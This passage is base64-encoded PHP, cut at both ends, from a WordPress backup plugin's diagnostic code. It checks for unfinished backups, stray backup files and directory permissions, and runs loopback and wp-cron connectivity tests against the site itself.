JpYWwnXSApIHsKCQkJJGxhc3RfYmFja3VwX2ZpbGVvcHRpb25zID0gYmFja3VwYnVkZHlfY29yZTo6Z2V0TG9nRGlyZWN0b3J5KCkgLiAnZmlsZW9wdGlvbnMvJyAuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbGFzdF9iYWNrdXBfc2VyaWFsJ10gLiAnLnR4dCc7CgkJCWlmICggZmlsZV9leGlzdHMoICRsYXN0X2JhY2t1cF9maWxlb3B0aW9ucyApICkgewoJCQkJcmVxdWlyZV9vbmNlIHBiX2JhY2t1cGJ1ZGR5OjpwbHVnaW5fcGF0aCgpIC4gJy9jbGFzc2VzL2ZpbGVvcHRpb25zLnBocCc7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdGaWxlb3B0aW9ucyBpbnN0YW5jZSAjMzIuJyApOwoJCQkJJGJhY2t1cF9vcHRpb25zID0gbmV3IHBiX2JhY2t1cGJ1ZGR5X2ZpbGVvcHRpb25zKCAkbGFzdF9iYWNrdXBfZmlsZW9wdGlvbnMsIHRydWUgKTsKCQkJCSRyZXN1bHQgICAgICAgICA9ICRiYWNrdXBfb3B0aW9ucy0+aXNfb2soKTsKCQkJCWlmICggdHJ1ZSAhPT0gJHJlc3VsdCB8fCAhIGlzc2V0KCAkYmFja3VwX29wdGlvbnMtPm9wdGlvbnNbJ3VwZGF0ZWRfdGltZSddICkgKSB7CgkJCQkJLy8gTk9URTogSWYgdGhpcyBmaWxlcyBkdXJpbmcgYSBiYWNrdXAgaXQgbWF5IHRyeSB0byByZWFkIHRoZSBmaWxlb3B0aW9ucyBmaWxlIHRvbyBlYXJseSBkdWUgdG8gdGhlIGxhc3RfYmFja3VwX3NlcmlhbCBiZWluZyBzZXQuIFN1cHByZXNzaW5nIGVycm9ycyBmb3Igbm93LgoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1VuYWJsZSB0byByZXRyaWV2ZSBmaWxlb3B0aW9ucyBmaWxlICh0aGlzIGlzIG5vcm1hbCBpZiBhIGJhY2t1cCBpcyBjdXJyZW50bHkgaW4gcHJvY2VzcyAmIG1heSBiZSBpZ25vcmVkKSBgJyAuIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldExvZ0RpcmVjdG9yeSgpIC4gJ2ZpbGVvcHRpb25zLycgLiBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2xhc3RfYmFja3VwX3NlcmlhbCddIC4gJy50eHQnIC4gJ2AuIEVyciA1NDQ3ODIzNjc2NS4gRGV0YWlsczogYCcgLiAkcmVzdWx0IC4gJ2AuJyApOwoJCQkJfSBlbHNlIHsKCQkJCQlpZiAoICRiYWNrdXBfb3B0aW9ucy0+b3B0aW9uc1sndXBkYXRlZF90aW1lJ10gPCAxODAgKSB7IC8vIEJlZW4gbGVzcyB0aGFuIDNtaW4gc2luY2UgbGFzdCBiYWNrdXAuCgoJCQkJCQlpZiAoICEgZW1wdHkoICRiYWNrdXBfb3B0aW9ucy0+b3B0aW9uc1snc3RlcHMnXSApICkgeyAvLyBMb29rIGZvciBpbmNvbXBsZXRlIHN0ZXBzLgoJCQkJCQkJJGZvdW5kX3VuZmluaXNoZWQgPSBmYWxzZTsKCQkJCQkJCWZvcmVhY2ggKCAoYXJyYXkpICRiYWNrdXBfb3B0aW9ucy0+b3B0aW9uc1snc3RlcHMnXSBhcyAkc3RlcCApIHsKCQkJCQkJCQlpZiAoICcwJyA9PSAkc3RlcFsnZmluaXNoX3RpbWUnXSApIHsgLy8gRm91bmQgYW4gdW5maW5pc2hlZCBzdGVwLgoJCQkJCQkJCQkkZm91bmRfdW5maW5pc2hlZCA9IHRydWU7CgkJCQkJCQkJCWJyZWFrOwoJCQkJCQkJCX0KCQkJCQkJCX0gLy8gZW5kIGZvcmVhY2guCgoJCQkJCQkJaWYgKCB0cnVlID09PSAkZm91bmRfdW5maW5pc2hlZCApIHsKCQkJCQkJCQkkdGVzdHNbXSA9IGFycmF5KAoJCQkJCQkJCQkndGVzdCcgICAgPT4gJ3JlY2VudF9iYWNrdXAnLAoJCQkJCQkJCQknc3VjY2VzcycgPT4gZmFsc2UsCgkJCQkJCQkJCSdtZXNzYWdlJyA9PiBfXyggJ0EgYmFja3VwIHdhcyByZWNlbnRseSBzdGFydGVkIGFuZCByZXBvcnRzIHVuZmluaXNoZWQgc3RlcHMuIFlvdSBzaG91bGQgd2FpdCB1bmxlc3MgeW91IGFyZSBzdXJlIHRoZSBwcmV2aW91cyBiYWNrdXAgaGFzIGNvbXBsZXRlZCBvciBmYWlsZWQgdG8gYXZvaWQgcGxhY2luZyBhIGhlYXZ5IGxvYWQgb24geW91ciBzZXJ2ZXIuJywgJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLgoJCQkJCQkJCQkJJyBMYXN0IHVwZGF0ZWQ6ICcgLiBwYl9iYWNrdXBidWRkeTo6JGZvcm1hdC0+ZGF0ZSggJGJhY2t1cF9vcHRpb25zLT5vcHRpb25zWyd1cGRhdGVkX3RpbWUnXSApIC4gJzsgJyAuCgkJCQkJCQkJCQknIFNlcmlhbDogJyAuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbGFzdF9iYWNrdXBfc2VyaWFsJ10sCgkJCQkJCQkJKTsKCQkJCQkJCX0gLy8gZW5kICRmb3VuZF91bmZpbmlzaGVkID09PSB0cnVlLgoJCQkJCQl9IC8vIGVuZCBpZi4KCQkJCQl9CgkJCQl9CgkJCX0KCQl9CgkJLyoqKioqIEVORCBMT09LSU5HIEZPUiBVTkZJTklTSEVEIFJFQ0VOVCBCQUNLVVBTICovCgoJCS8qKioqKiBCRUdJTiBMT09LSU5HIEZPUiBCQUNLVVAgRklMRVMgSU4gU0lURSBST09UICovCgkJJGZpbGVzID0gZ2xvYiggQUJTUEFUSCAuICdiYWNrdXAtKi56aXAnICk7CgkJaWYgKCAhIGlzX2FycmF5KCAkZmlsZXMgKSB8fCBlbXB0eSggJGZpbGVzICkgKSB7CgkJCSRmaWxlcyA9IGFycmF5KCk7CgkJfQoKCQkkZmlsZXMyID0gZ2xvYiggQUJTUEFUSCAuICdzbmFwc2hvdC0qLnppcCcgKTsKCQlpZiAoICEgaXNfYXJyYXkoICRmaWxlczIgKSB8fCBlbXB0eSggJGZpbGVzMiApICkgewoJCQkkZmlsZXMyID0gYXJyYXkoKTsKCQl9CgoJCSRmaWxlcyA9IGFycmF5X21lcmdlKCAkZmlsZXMsICRmaWxlczIgKTsKCQlmb3JlYWNoICggJGZpbGVzIGFzICYkZmlsZSApIHsKCQkJJGZpbGUgPSBiYXNlbmFtZSggJGZpbGUgKTsKCQl9CgoJCWlmICggY291bnQoICRmaWxlcyApID4gMCApIHsKCQkJJGZpbGVzX3N0cmluZyA9IGltcGxvZGUoICcsICcsICRmaWxlcyApOwoJCQkkdGVzdHNbXSAgICAgID0gYXJyYXkoCgkJCQkndGVzdCcgICAgPT4gJ3Jvb3RfYmFja3Vwcy0nIC4gJGZpbGVzX3N0cmluZywKCQkJCSdzdWNjZXNzJyA9PiBmYWxzZSwKCQkJCSdtZXNzYWdlJyA9PiAnT25lIG9yIG1vcmUgYmFja3VwIGZpbGVzLCBgJyAuICRmaWxlc19zdHJpbmcgLiAnYCB3YXMgZm91bmQgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc2l0ZS4gVGhpcyBtYXkgYmUgbGVmdG92ZXIgZnJvbSBhIHJlY2VudCByZXN0b3JlLiBZb3Ugc2hvdWxkIHVzdWFsbHkgcmVtb3ZlIGJhY2t1cCBmaWxlcyBmcm9tIHRoZSBzaXRlIHJvb3QgZm9yIHNlY3VyaXR5LicsCgkJCSk7CgkJfQoJCS8qKioqKiBFTkQgTE9PS0lORyBGT1IgQkFDS1VQIEZJTEVTIElOIFNJVEUgUk9PVCAqLwoKCQlpZiAoICEgaXNfd3JpdGFibGUoIGJhY2t1cGJ1ZGR5X2NvcmU6OmdldEJhY2t1cERpcmVjdG9yeSgpICkgKSB7CgkJCSR0ZXN0c1tdID0gYXJyYXkoCgkJCQkndGVzdCcgICAgPT4gJ2JhY2t1cF9kaXJfcGVybWlzc2lvbnMnLAoJCQkJJ3N1Y2Nlc3MnID0+IGZhbHNlLAoJCQkJJ21lc3NhZ2UnID0+ICdJbnZhbGlkIGJhY2t1cCBkaXJlY3RvcnkgcGVybWlzc2lvbnMuIFZlcmlmeSB0aGUgZGlyZWN0b3J5IGAnIC4gYmFja3VwYnVkZHlfY29yZTo6Z2V0QmFja3VwRGlyZWN0b3J5KCkgLiAnYCBpcyB3cml0YWJsZS4nLAoJCQkpOwoJCX0KCgkJcmV0dXJuICR0ZXN0czsKCgl9IC8vIEVuZCBwcmVmbGlnaHRfY2hlY2soKS4KCgoJLyoqCgkgKiBDb25uZWN0cyBiYWNrIHRvIHNhbWUgc2l0ZSB2aWEgQUpBWCBjYWxsIHRvIGFuIEFKQVggc2x1ZyB0aGF0IGhhcyBOT1QgYmVlbiByZWdpc3RlcmVkLgoJICogV29yZFByZXNzIEFKQVggcmV0dXJucyBhIC0xIChvciAwIGluIG5ld2VyIHZlcnNpb24/KSBmb3IgdGhlc2UuIEFsc28gbm90IGxvZ2dlZCBpbnRvCgkgKiBhZG1pbiB3aGVuIGNvbm5lY3RpbmcgYmFjay4gQ2hlY2tzIHRvIHNlZSBpZiBib2R5IGNvbnRhaW5zIC0xIC8gMC4gSWYgbG9vcGJhY2tzIGFyZSBub3QKCSAqIGVuYWJsZWQgdGhlbiB3aWxsIGZhaWwgY29ubmVjdGluZyBvciBkbyBzb21ldGhpbmcgZWxzZS4KCSAqCgkgKiBAcmV0dXJuIGJvb2wgIFRydWUgb24gc3VjY2Vzcywgc3RyaW5nIGVycm9yIG1lc3NhZ2Ugb3RoZXJ3aXNlLgoJICovCglwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGxvb3BiYWNrX3Rlc3QoKSB7CgkJJGxvb3BiYWNrX3VybCA9IGFkbWluX3VybCggJ2FkbWluLWFqYXgucGhwP2FjdGlvbj1pdGJ1Yl9odHRwX2xvb3BfYmFja190ZXN0JyApIC4gJyZzZXJpYWw9JyAuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbG9nX3NlcmlhbCddOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ1Rlc3RpbmcgbG9vcGJhY2sgY29ubmVjdGlvbnMgYnkgY29ubmVjdGluZyBiYWNrIHRvIHNpdGUgYXQgdGhlIFVSTDogYCcgLiAkbG9vcGJhY2tfdXJsIC4gJ2AuIEl0IHNob3VsZCBkaXNwbGF5IHNpbXBseSAiMCIgb3IgIi0xIiBpbiB0aGUgYm9keS4nICk7CgoJCSRyZXNwb25zZSA9IHdwX3JlbW90ZV9nZXQoCgkJCSRsb29wYmFja191cmwsCgkJCWFycmF5KAoJCQkJJ21ldGhvZCcgICAgICA9PiAnR0VUJywKCQkJCSd0aW1lb3V0JyAgICAgPT4gOCwgLy8gWCBzZWNvbmQgZGVsYXkuIEEgbG9vcGJhY2sgc2hvdWxkIGJlIHZlcnkgZmFzdC4KCQkJCSdyZWRpcmVjdGlvbicgPT4gNSwKCQkJCSdodHRwdmVyc2lvbicgPT4gJzEuMCcsCgkJCQknYmxvY2tpbmcnICAgID0+IHRydWUsCgkJCQknaGVhZGVycycgICAgID0+IGFycmF5KCksCgkJCQknYm9keScgICAgICAgID0+IG51bGwsCgkJCQknY29va2llcycgICAgID0+IGFycmF5KCksCgkJCQknc3NsdmVyaWZ5JyAgID0+IGFwcGx5X2ZpbHRlcnMoICdodHRwc19sb2NhbF9zc2xfdmVyaWZ5JywgZmFsc2UgKSwKCQkJKQoJCSk7CgoJCWdsb2JhbCAkYmFja3VwYnVkZHlfbG9vcGJhY2tfZGV0YWlsczsKCQlpZiAoIGlzX3dwX2Vycm9yKCAkcmVzcG9uc2UgKSApIHsgLy8gTG9vcGJhY2sgZmFpbGVkLiBTb21lIGtpbmQgb2YgZXJyb3IuCgkJCSRlcnJvciA9ICRyZXNwb25zZS0+Z2V0X2Vycm9yX21lc3NhZ2UoKTsKCQkJJGVycm9yID0gJ0Vycm9yICM5MDM4OiBMb29wYmFjayB0ZXN0IGVycm9yOiBgJyAuICRlcnJvciAuICdgLiBVUkw6IGAnIC4gJGxvb3BiYWNrX3VybCAuICdgLiBJZiB5b3UgbmVlZCB0byBjb250YWN0IHlvdXIgd2ViIGhvc3QsIHRlbGwgdGhlbSB0aGF0IHdoZW4gUEhQIHRyaWVzIHRvIGNvbm5lY3QgYmFjayB0byB0aGUgc2l0ZSBhdCB0aGUgVVJMIGAnIC4gJGxvb3BiYWNrX3VybCAuICdgIHZpYSBjdXJsIChvciBvdGhlciBmYWxsYmFjayBjb25uZWN0aW9uIG1ldGhvZCBidWlsdCBpbnRvIFdvcmRQcmVzcykgdGhhdCBpdCBnZXRzIHRoZSBlcnJvciBgJyAuICRlcnJvciAuICdgLiBUaGlzIG1lYW5zIHRoYXQgV29yZFByZXNzXCcgYnVpbHQtaW4gc2ltdWxhdGVkIGNyb24gc3lzdGVtIGNhbm5vdCBmdW5jdGlvbiBwcm9wZXJseSwgYnJlYWtpbmcgc29tZSBXb3JkUHJlc3MgZmVhdHVyZXMgJiBzdWJzZXF1ZW50bHkgc29tZSBwbHVnaW5zLiBUaGVyZSBtYXkgYmUgYSBwcm9ibGVtIHdpdGggdGhlIHNlcnZlciBjb25maWd1cmF0aW9uIChlZyBsb2NhbCBETlMgcHJvYmxlbXMsIG1vZF9zZWN1cml0eSwgZXRjKSBwcmV2ZW50aW5nIGNvbm5lY3Rpb25zIGZyb20gd29ya2luZyBwcm9wZXJseS4nOwoJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZXJyb3InLCAkZXJyb3IgKTsKCQkJJGJhY2t1cGJ1ZGR5X2xvb3BiYWNrX2RldGFpbHMgPSAnRXJyb3I6ICcgLiAkZXJyb3I7CgkJCXJldHVybiAkZXJyb3I7CgkJfSBlbHNlIHsKCQkJaWYgKCBpbl9hcnJheSggJHJlc3BvbnNlWydib2R5J10sIGFycmF5KCAnLTEnLCAnMCcgKSApICkgeyAvLyBMb29wYmFjayBzdWNjZWVkZWQuCgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdIVFRQIExvb3BiYWNrIHRlc3Qgc3VjY2Vzcy4gUmV0dXJuZWQgYCcgLiAkcmVzcG9uc2VbJ2JvZHknXSAuICdgLicgKTsKCQkJCSRiYWNrdXBidWRkeV9sb29wYmFja19kZXRhaWxzID0gJ1JldHVybmVkOiBgJyAuICRyZXNwb25zZVsnYm9keSddIC4gJ2Agd2l0aCBjb2RlIGAnIC4gJHJlc3BvbnNlWydyZXNwb25zZSddWydjb2RlJ10gLiAnICcgLiAkcmVzcG9uc2VbJ3Jlc3BvbnNlJ11bJ21lc3NhZ2UnXSAuICdgLic7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfSBlbHNlIHsgLy8gTG9vcGJhY2sgZmFpbGVkLgoJCQkJJGVycm9yID0gJ1dhcm5pbmcgIzkwMzg6IENvbm5lY3RlZCB0byBzZXJ2ZXIgYnV0IHVuZXhwZWN0ZWQgb3V0cHV0OiBgJyAuIGh0bWxlbnRpdGllcyggJHJlc3BvbnNlWydib2R5J10gLiAnYC4gQ29kZTogYCcgLiAkcmVzcG9uc2VbJ3Jlc3BvbnNlJ11bJ2NvZGUnXSAuICcgJyAuICRyZXNwb25zZVsncmVzcG9uc2UnXVsnbWVzc2FnZSddIC4gJyAnIC4gJHJlc3BvbnNlWydyZXNwb25zZSddWydtZXNzYWdlJ10gLiAnYC4nICk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnd2FybmluZycsICRlcnJvciApOwoJCQkJJGJhY2t1cGJ1ZGR5X2xvb3BiYWNrX2RldGFpbHMgPSAkZXJyb3I7CgkJCQlyZXR1cm4gJGVycm9yOwoJCQl9CgkJfQoJfSAvLyBFbmQgbG9vcGJhY2tfdGVzdCgpLgoKCgkvKioKCSAqIFRlc3RzIGlmIHdwLWNyb24ucGhwIGlzIGFjY2Vzc2libGUgYnkgdGhlIHNlcnZlcgoJICogT3B0aW9uYWxseSB0ZXN0cyBpZiBjcm9uIGFjdHVhbGx5IGZpcmVkCgkgKgoJICogQHBhcmFtIGJvb2wgJGNvbmZpcm1fY3Jvbl9maXJlZCAgSWYgdHJ1ZSwgd2lsbCBzZXQgYSB0ZXN0IGNyb24gYW5kIGNvbmZpcm0gaXQgZmlyZWQuCgkgKgoJICogQHJldHVybiBzdHJpbmd8Ym9vbCAgRXJyb3IgbWVzc2FnZSBvciB0cnVlIGlmIHdvcmtlZC4KCSAqLwoJcHVibGljIHN0YXRpYyBmdW5jdGlvbiBjcm9uYmFja190ZXN0KCAkY29uZmlybV9jcm9uX2ZpcmVkID0gZmFsc2UgKSB7CgkJZ2xvYmFsICR3cGRiOwoJCWdsb2JhbCAkYmFja3VwYnVkZHlfY3JvbmJhY2tfZGV0YWlsczsKCQkkb3B0aW9uICAgICA9ICdpdGJ1Yl9kb2luZ19jcm9uX3Rlc3QnOwoJCSRldmVudF9uYW1lID0gJ2l0YnViX2Nyb25fdGVzdCc7CgoJCS8vIERvIG91ciBwcmVwYXJhdGlvbiBmb3IgdGhpbmdzIHRoYXQgYXBwbHkgd2hhdGV2ZXIgd2UgYXJlIGRvaW5nIC0gd2Ugd2lsbCBhbHdheXMgbWFrZSBhIGxvb3BiYWNrCgkJLy8gYWNjZXNzIGJ1dCBmb3IgdGVoIHBhc3NpdmUgdGVzdCB3ZSB3aWxsIG5vdCBiZSB0cnlpbmcgdG8gdHJpZ2dlciB0aGUgZXhlY3V0aW9uIG9mIG91ciBvd24gc2NoZWR1bGVkCgkJLy8gdGFzayB3aGVyZWFzIHdpdGggdGVoIGFjdGl2ZSB0ZXN0IHRoYXQgd2lsbCBiZSB0aGUgaW50ZW50aW9uLgoJCSRnbXRfdGltZSAgICAgID0gbWljcm90aW1lKCB0cnVlICk7CgkJJGRvaW5nX3dwX2Nyb24gPSBzcHJpbnRmKCAnJS4yMkYnLCAkZ210X3RpbWUgKTsKCQkkY3Jvbl91cmwgICAgICA9IGFkZF9xdWVyeV9hcmcoICdkb2luZ193cF9jcm9uJywgJGRvaW5nX3dwX2Nyb24sIHNpdGVfdXJsKCAnd3AtY3Jvbi5waHAnICkgKTsKCQkkY3Jvbl9yZXF1ZXN0ICA9IGFycmF5KAoJCQkndXJsJyAgPT4gJGNyb25fdXJsLAoJCQkna2V5JyAgPT4gJGRvaW5nX3dwX2Nyb24sCgkJCSdhcmdzJyA9PiBhcnJheSgKCQkJCSd0aW1lb3V0JyAgID0+IDQsCgkJCQknYmxvY2tpbmcnICA9PiB0cnVlLAoJCQkJLyoqIFRoaXMgZmlsdGVyIGlzIGRvY3VtZW50ZWQgaW4gd3AtaW5jbHVkZXMvY2xhc3MtaHR0cC5waHAgKi8KCQkJCSdzc2x2ZXJpZnknID0+IGFwcGx5X2ZpbHRlcnMoICdodHRwc19sb2NhbF9zc2xfdmVyaWZ5JywgZmFsc2UgKSwKCQkJKSwKCQkpOwoKCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdUZXN0aW5nIHdwLWNyb24ucGhwIGxvb3BiYWNrIGNvbm5lY3Rpb25zIGJ5IGNvbm5lY3RpbmcgYmFjayB0byBzaXRlIGF0IHRoZSBVUkw6IGAnIC4gJGNyb25fdXJsIC4gJ2AuIEV4cGVjdCAyMDAgT0sgcmVzcG9uc2UuJyApOwoKCQkvLyBEZWxldGUgUHJldmlvdXMgdGVtcCBjcm9ucyBpbiB0aGUgZXZlbnQgdGhleSB3ZXJlbid0IGNsZWFyZWQuLi4gZXZlbiBpZiB3ZSBhcmVuJ3QgZmxhZ2dlZCB0byB0ZXN0IGFnYWluLgoJCXdwX2NsZWFyX3NjaGVkdWxlZF9ob29rKCAkZXZlbnRfbmFtZSApOwoKCQkvLyBNYWtlIHN1cmUgd2UgZGVsZXRlIGFueSBleGlzdGluZyBvcHRpb24gaW4gdGhlIGV2ZW50IGl0IHdhc24ndCBkZWxldGVkLi4uIGV2ZW4gaWYgd2UgYXJlbid0IGZsYWdnZWQgdG8gdGVzdCBhZ2Fpbi4KCQkkcmVzdWx0ID0gJHdwZGItPmRlbGV0ZSggJHdwZGItPm9wdGlvbnMsIGFycmF5KCAnb3B0aW9uX25hbWUnID0+ICRvcHRpb24gKSApOwoKCQlpZiAoICRjb25maXJtX2Nyb25fZmlyZWQgKSB7CgkJCS8vIFByb2JsZW06IHRoZSBzaXRlIGFjY2VzcyB0byB0aGlzIHBhZ2UgbWF5IGFscmVhZHkgaGF2ZSB0cmlnZ2VyZWQgY3JvbiBpZiB0aGVyZSB3YXMgYW55IGR1ZSB0YXNrLgoJCQkvLyBXZSBkb24ndCByZWFsbHkgd2FudCB0byB0cmVhZCBvbiBpdHMgdG9lcyBfYnV0XyBhbHNvIHdlIG1pZ2h0IGhhdmUgcHJvYmxlbXMgc2NoZWR1bGluZyBhbmQgcnVubmluZwoJCQkvLyBvdXIgdGFzayBhdCB0aGUgc2FtZSB0aW1lIGFzIHRoZSBkdWUgdGFza3MgYXJlIGJlaW5nIGV4ZWN1dGVkIGJlY2F1c2Ugb2YgcG9zc2libGUgcmFjZSBjb25kaXRpb25zLgoJCQkvLyBOT1RFOiBXZSBtYXkgbmVlZCB0byBmb3JjZSBieXBhc3MgYW55IGNhY2hlcyB0byBnZXQgbW9zdCB1cCB0byBkYXRlIHZhbHVlPwoJCQkkbG9jayA9IGdldF90cmFuc2llbnQoICdkb2luZ19jcm9uJyApOwoKCQkJLy8gSWYgbG9jayBoYXMgYWxyZWFkeSBiZWVuIHNldCB0aGVuIHRoZSBsb2NrIHNob3VsZCBiZSBub24temVybyBfYnV0XyB3ZSBhbHNvIHdhbnQgdG8gYWNjb3VudCBmb3IgdGhlCgkJCS8vIGxvY2sgbm90IGhhdmluZyBiZWVuIHJlbGVhc2VkIGR1ZSB0byBzb21lIGZhaWx1cmUgc28ganVzdCBjaGVjayB3aXRoIGEgZ3VhcmQgdGltZSBhbmQgaWYgdGhlIGxvY2sKCQkJLy8gd2FzIHNldCBtb3JlIHRoYW4gMTBzIGFnbyB0aGVuIHdlJ2xsIHN0ZWFsIGl0IHJlZ2FyZGxlc3MuCgkJCS8vIE5vdGUgdGhhdCBpZiBhIHRhc2sgaXMgYWN0dWFsbHkgc3RpbGwgYmVpbmcgcnVuIHRoZW4gaXQgd2lsbCBjb250aW51ZSB0byBydW4gYnV0IHdoZW4gdGhhdCB0YXNrIGhhcwoJCQkvLyBmaW5pc2hlZCB0aGUgd3AtY3Jvbi5waHAgImluc3RhbmNlIiBydW5uaW5nIHdpbGwgZmluZCBpdCBoYXMgbG9zdCB0aGUgbG9jayBhbmQgd2lsbCBub3QgdHJ5IGFuZCBydW4KCQkJLy8gYW55dGhpbmcgZnVydGhlciB3aGljaCBpcyB3aGF0IHdlIHdhbnQgYXMgdGhpcyBzaHVsZCBzdG9wIHNpbXVsdGFuZW91cyBjcm9uIGFycmF5IGNoYW5nZXMgYW5kIGNvbnNlcXVlbnQKCQkJLy8gcmFjZSBjb25kaXRpb25zLgoJCQlpZiAoICggJGxvY2sgKyAxMCApID4gJGdtdF90aW1lICkgewoJCQkJLy8gV2UgYXJlIGdvaW5nIHRvIGRvIG9ubHkgdGhlICJwYXNzaXZlIiBhY2Nlc3MgdGVzdAoJCQkJLy8gTm90ZSB0aGF0IHRoZSAkZG9pbmdfd3BfY3JvbiB2YWx1ZSB3ZSBzZXQgYWJvdmUgaXMgc3RpbGwgdXN1YWJsZSBidXQgZXNzZW50aWFsbHkgaXJyZWxldmFudAoJCQkJLy8gYXMgaXQgaXMgbm8gbG9uZ2VyIG5lZWRlZCB0byBzZXQgYXMgdGhlIHRyYW5zaWVudCB0byBtYXRjaCB0aGUga2V5IGluIHRoZSBhY2Nlc3MuCgkJCQkkY29uZmlybV9jcm9uX2ZpcmVkID0gZmFsc2U7CgoJCQkJLy8gV2FybiB0aGF0IHdlIGFyZSBub3QgcnVubmluZyB0aGUgYWN0aXZlIHRlc3QgLSB0aGlzIGdldHMgcHJlLXBlbmRlZCB0byBsYXRlciBkZXRhaWxzLgoJCQkJJGJhY2t1cGJ1ZGR5X2Nyb25iYWNrX2RldGFpbHMgPSAnUnVubmluZyBwYXNzaXZlIGFjY2VzcyB0ZXN0IG9ubHkgLSBhY3RpdmUgY3JvbiB0ZXN0IGNvdWxkIG5vdCBiZSBydW4gZHVlIHRvIG90aGVyIGFwcGFyZW50IGNyb24gYWN0aXZpdHkgLSB0cnkgYWdhaW4gbGF0ZXIuJyAuIFBIUF9FT0w7CgkJCX0gZWxzZSB7CgkJCQkvLyBPdmVyIDEwcyBzaW5jZSBsb2NrIHNldCAtIHN0ZWFsIHRoZSBsb2NrIHdoaWNoIHNob3VsZCBzdG9wIGFueSBmdXJ0aGVyIGR1ZSB0YXNrcyBiZWluZyBydW4uCgkJCQlzZXRfdHJhbnNpZW50KCAnZG9pbmdfY3JvbicsICRkb2luZ193cF9jcm9uICk7CgoJCQkJLy8gTm93IG1ha2Ugc3VyZSB3ZSBzY2hlZHVsZSBfYmVmb3JlXyBhbnkgb3RoZXIgdGFzayB0aGF0IG1heSBiZSBhbHJlYWR5IG92ZXJkdWUuIFRoaXMgaXMgZm9yIHRoZSBjYXNlCgkJCQkvLyB3aGVyZSB0aGVyZSB3ZXJlIG11bHRpcGxlIGR1ZSB0YXNrcyBidXQgd2Ugc3RvbGUgdGhlIGxvY2sgYmVmb3JlIHRoZXkgaGFkIGFsbCBiZWVuIHJ1biBhbmQgc28gd2UKCQkJCS8vIHN0b3BwZWQgYWxsIG9mIHRoZW0gYmVpbmcgcnVuIC0gd2UgbmVlZCB0byBwdXNoIG91ciB0YXNrIGFoZWFkIG9mIHRoZXNlIHNvIHRoYXQgb3VyIGxvb3BiYWNrIGFjY2VzcwoJCQkJLy8gdHJpZ2dlcnMgaXQgdG8gcnVuLgoJCQkJJHNjaGVkdWxlX3RpbWUgPSB0aW1lKCkgLSAxOwoJCQkJJGV2ZW50X3F1ZXVlICAgPSBnZXRfb3B0aW9uKCAnY3JvbicgKTsKCQkJCWlmICggaXNfYXJyYXkoICRldmVudF9xdWV1ZSApICkgewoJCQkJCSRldmVudF90aW1lc3RhbXBzID0gYXJyYXlfa2V5cyggJGV2ZW50X3F1ZXVlICk7CgkJCQkJaWYgKCBpc3NldCggJGV2ZW50X3RpbWVzdGFtcHNbMF0gKSAmJiAoICRldmVudF90aW1lc3RhbXBzWzBdIDwgJGdtdF90aW1lICkgKSB7CgkJCQkJCSRzY2hlZHVsZV90aW1lID0gJGV2ZW50X3RpbWVzdGFtcHNbMF0gLSAxOwoJCQkJCX0KCQkJCX0KCQkJCXdwX3NjaGVkdWxlX3NpbmdsZV9ldmVudCggJHNjaGVkdWxlX3RpbWUsICRldmVudF9uYW1lICk7CgkJCX0KCQl9CgoJCS8vIE1ha2UgdGhlIGFjdHVhbCBsb29wYmFjayBhY2Nlc3MgdGhhdCB3YXMgaW5pdGlhbGlzZWQgYWJvdmUuCgkJLy8gVGhpcyBpcyBwYXNzaXZlIG9yIGFjdGl2ZSBkZXBlbmRlbnQgb24gd2hldGhlciB3ZSBzY2hlZHVsZWQgYSB0ZXN0IHRhc2sgYWJvdmUuCgkJJHJlc3BvbnNlID0gd3BfcmVtb3RlX3Bvc3QoICRjcm9uX3JlcXVlc3RbJ3VybCddLCAkY3Jvbl9yZXF1ZXN0WydhcmdzJ10gKTsKCgkJaWYgKCBpc193cF9lcnJvciggJHJlc3BvbnNlICkgKSB7CgoJCQkvLyBXb3JkUHJlc3MgY2xhc3NpZmllcyB0aGUgcmVzcG9uc2UgYXMgYW4gZXJyb3IuCgkJCSRlcnJvcl9tc2cgPSAkcmVzcG9uc2UtPmdldF9lcnJvcl9tZXNzYWdlKCk7CgkJCSRlcnJvciAgICAgPSB0cnVlID09ICRjb25maXJtX2Nyb25fZmlyZWQgPyAnQWN0aXZlICcgOiAnUGFzc2l2ZSAnOwoJCQkkZXJyb3IgICAgLj0gJ3dwLWNyb24ucGhwIGxvb3BiYWNrIHRlc3QgZmFpbHVyZTogYCcgLiAkZXJyb3JfbXNnIC4gJ2AuIFVSTDogYCcgLiAkY3Jvbl91cmwgLiAnYC4gSWYgeW91IG5lZWQgdG8gY29udGFjdCB5b3VyIHdlYiBob3N0LCB0ZWxsIHRoZW0gdGhhdCB3aGVuIFBIUCB0cmllcyB0byBjb25uZWN0IGJhY2sgdG8gdGhlIHNpdGUgYXQgdGhlIFVSTCBgJyAuICRjcm9uX3VybCAuICdgIHZpYSBjdXJsIChvciBvdGhlciBmYWxsYmFjayBjb25uZWN0aW9uIG1ldGhvZCBidWlsdCBpbnRvIFdvcmRQcmVzcykgdGhhdCBpdCBnZXRzIHRoZSBlcnJvciBgJyAuICRlcnJvcl9tc2cgLiAnYC4gVGhpcyBtZWFucyB0aGF0IFdvcmRQcmVzc1wnIGJ1aWx0LWluIHNpbXVsYXRlZCBjcm9uIHN5c3RlbSBjYW5ub3QgZnVuY3Rpb24gcHJvcGVybHksIGJyZWFraW5nIHNvbWUgV29yZFByZXNzIGZlYXR1cmVzICYgc3Vic2VxdWVudGx5IHNvbWUgcGx1Z2lucy4gVGhlcmUgbWF5IGJlIGEgcHJvYmxlbSB3aXRoIHRoZSBzZXJ2ZXIgY29uZmlndXJhdGlvbiA